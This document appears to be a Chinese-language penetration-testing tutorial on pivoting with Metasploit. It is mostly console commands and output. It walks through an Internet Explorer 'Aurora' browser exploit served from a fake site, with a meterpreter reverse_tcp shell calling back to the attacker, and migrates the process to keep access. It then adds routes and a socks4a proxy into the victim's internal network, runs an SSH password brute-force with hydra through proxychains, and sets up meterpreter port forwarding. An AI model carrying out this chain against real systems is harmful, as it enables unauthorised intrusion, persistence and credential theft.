metasploit

proxy

我们还可以使用Metasploit框架创建一个隧道,这反过来又允许我们通过它从框架外部运行工具。以下示例显示了一个客户端攻击,在该攻击中,我们诱使用户浏览到我们托管 Internet Explorer 漏洞利用的虚假网站。

  1. msf > use exploit/windows/browser/ms10_002_aurora
  2. msf exploit(ms10_002_aurora) > show options
  3. Module options:
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. SRVHOST 0.0.0.0 yes The local host to listen on.
  7. SRVPORT 8080 yes The local port to listen on.
  8. SSL false no Negotiate SSL for incoming connections
  9. SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
  10. URIPATH no The URI to use for this exploit (default is random)
  11. Exploit target:
  12. Id Name
  13. -- ----
  14. 0 Automatic
  15. msf exploit(ms10_002_aurora) > set URIPATH /
  16. URIPATH => /
  17. msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
  18. PAYLOAD => windows/meterpreter/reverse_tcp
  19. msf exploit(ms10_002_aurora) > set LHOST 192.168.1.101
  20. LHOST => 192.168.1.101
  21. msf exploit(ms10_002_aurora) > set SRVPORT 80
  22. SRVPORT => 80
  23. msf exploit(ms10_002_aurora) > set InitialAutoRunScript migrate -f
  24. InitialAutoRunScript => migrate -f
  25. msf exploit(ms10_002_aurora) > exploit -j
  26. [*] Exploit running as background job.
  27. [*] Started reverse handler on 192.168.1.101:4444
  28. [*] Using URL: http://0.0.0.0:80/
  29. [*] Local IP: http://192.168.1.101:80/
  30. [*] Server started.
  31. msf exploit(ms10_002_aurora) >

当目标访问我们的恶意 URL 时,将为我们打开一个计量器会话,以便我们完全访问系统。我们不仅从目标接收到meterpreter会话,而且由于我们之前使用的“InitialAutoRunScript”选项,我们的shell自动迁移到另一个进程中,因此如果目标决定关闭浏览器,我们不会丢失它。

  1. msf exploit(ms10_002_aurora) >
  2. [*] 192.168.1.201 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
  3. [*] Sending stage (769536 bytes) to 192.168.1.201
  4. [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:1024) at 2014-10-07 23:43:14 +0300
  5. [*] Session ID 1 (192.168.1.101:4444 -> 192.168.1.201:1024) processing InitialAutoRunScript 'migrate -f'
  6. [*] Current server process: iexplore.exe (1016)
  7. [*] Spawning notepad.exe process to migrate to
  8. [+] Migrating to 1416
  9. [+] Successfully migrated to process
  10. msf exploit(ms10_002_aurora) > sessions -i 1
  11. [*] Starting interaction with 1...
  12. meterpreter > background

一旦我们成功获得了一个shell,我们就后台运行了meterpreter会话,以便利用autoroute后模块,这将使我们能够攻击受感染网络中的目标。

  1. [*] Backgrounding session 1...
  2. msf exploit(ms10_002_aurora) > use post/windows/manage/autoroute
  3. msf post(autoroute) > show options
  4. Module options (post/windows/manage/autoroute):
  5. Name Current Setting Required Description
  6. ---- --------------- -------- -----------
  7. CMD add yes Specify the autoroute command (accepted: add, print, delete)
  8. NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
  9. SESSION yes The session to run this module on.
  10. SUBNET no Subnet (IPv4, for example, 10.10.10.0)
  11. msf post(autoroute) > set SESSION 1
  12. SESSION => 1
  13. msf post(autoroute) > set SUBNET 10.1.13.0
  14. SUBNET => 10.1.13.0
  15. msf post(autoroute) > run
  16. [*] Running module against XEN-XP-SP2-BARE
  17. [*] Adding a route to 10.1.13.0/255.255.255.0...
  18. [*] Post module execution completed

现在我们已经向目标网络添加了一个路由,我们将利用框架中的socks4a辅助工具。这个辅助模块提供了一个代理服务器,它使用我们创建的Metasploit框架路由来中继连接。

  1. msf post(autoroute) > use auxiliary/server/socks4a
  2. msf auxiliary(socks4a) > show options
  3. Module options (auxiliary/server/socks4a):
  4. Name Current Setting Required Description
  5. ---- --------------- -------- -----------
  6. SRVHOST 0.0.0.0 yes The address to listen on
  7. SRVPORT 1080 yes The port to listen on.
  8. msf auxiliary(auxiliary/server/socks4a) > set SRVPORT 8080
  9. SRVPORT => 8080
  10. msf auxiliary(auxiliary/server/socks4a) > run
  11. [*] Auxiliary module execution completed
  12. [*] Starting the socks4a proxy server

我们快速配置proxychins,以匹配我们为代理服务器选择的端口。

  1. root@kali:~# nano /etc/proxychains.conf
  2. root@kali:~# cat /etc/proxychains.conf | grep socks4
  3. # socks4192.168.1.491080
  4. # proxy types: http, socks4, socks5
  5. socks4 127.0.0.1 8080

由于一切都已设置好,我们应该能够通过Metasploit创建的隧道运行外部工具,并直接攻击我们的目标网络。

  1. root@kali:~# proxychains hydra -l admin -P passwords.txt -s 22 10.1.13.3 ssh
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
  4. Hydra (http://www.thc.org/thc-hydra) starting at 2014-10-07 23:45:41
  5. [DATA] 16 tasks, 1 server, 17 login tries (l:1/p:17), ~1 try per task
  6. [DATA] attacking service ssh on port 22
  7. ...snip...
  8. |S-chain|->>-127.0.0.1:8080->>>>-10.1.13.3:22->>>>-OK
  9. >>>>-OK
  10. >>>>-OK
  11. >>>>-OK
  12. >>>>-OK
  13. ...snip...
  14. >>>>-OK
  15. [22][ssh] host: 10.1.13.3 login: admin password: password1
  16. 1 of 1 target successfully completed, 1 valid password found
  17. Hydra (http://www.thc.org/thc-hydra) finished at 2014-10-07 23:45:46

Method 1: Using Socks

  1. msf> use auxiliary/server/socks4a
  2. msf> run -j

Method 2: Using autoroute

  1. meterpreter> run autoroute -s $IP/24
  2. meterpreter > run autoroute -p

Method 3: Manual route

  1. msf exploit(handler) > route add $IP 255.255.255.0 1

portfwd

在活动的 Meterpreter 会话中,键入 portfwd –h 将显示命令的各种选项和参数。

  1. meterpreter > portfwd -h
  2. Usage: portfwd [-h] [add | delete | list | flush] [args]
  3. OPTIONS:
  4. -L >opt> The local host to listen on (optional).默认 0.0.0.0
  5. -h Help banner.
  6. -l >opt> The local port to listen on.//本地端口
  7. -p >opt> The remote port to connect on.//远程端口
  8. -r >opt> The remote host to connect on.//远程主机ip
  9. meterpreter >

比如
远程主机3389 转发到本地3389

  1. meterpreter > portfwd add l 3389 p 3389 r 172.16.194.191
  2. [*] Local TCP relay created: 0.0.0.0:3389 >-> 172.16.194.191:3389
  3. meterpreter > //

删除

  1. meterpreter > portfwd delete l 3389 p 3389 r 172.16.194.191

删除所有端口转发

  1. meterpreter > portfwd flush

查看端口转发

  1. meterpreter > portfwd list
  2. 0: 0.0.0.0:3389 -> 172.16.194.191:3389
  3. 1: 0.0.0.0:1337 -> 172.16.194.191:1337
  4. 2: 0.0.0.0:2222 -> 172.16.194.191:2222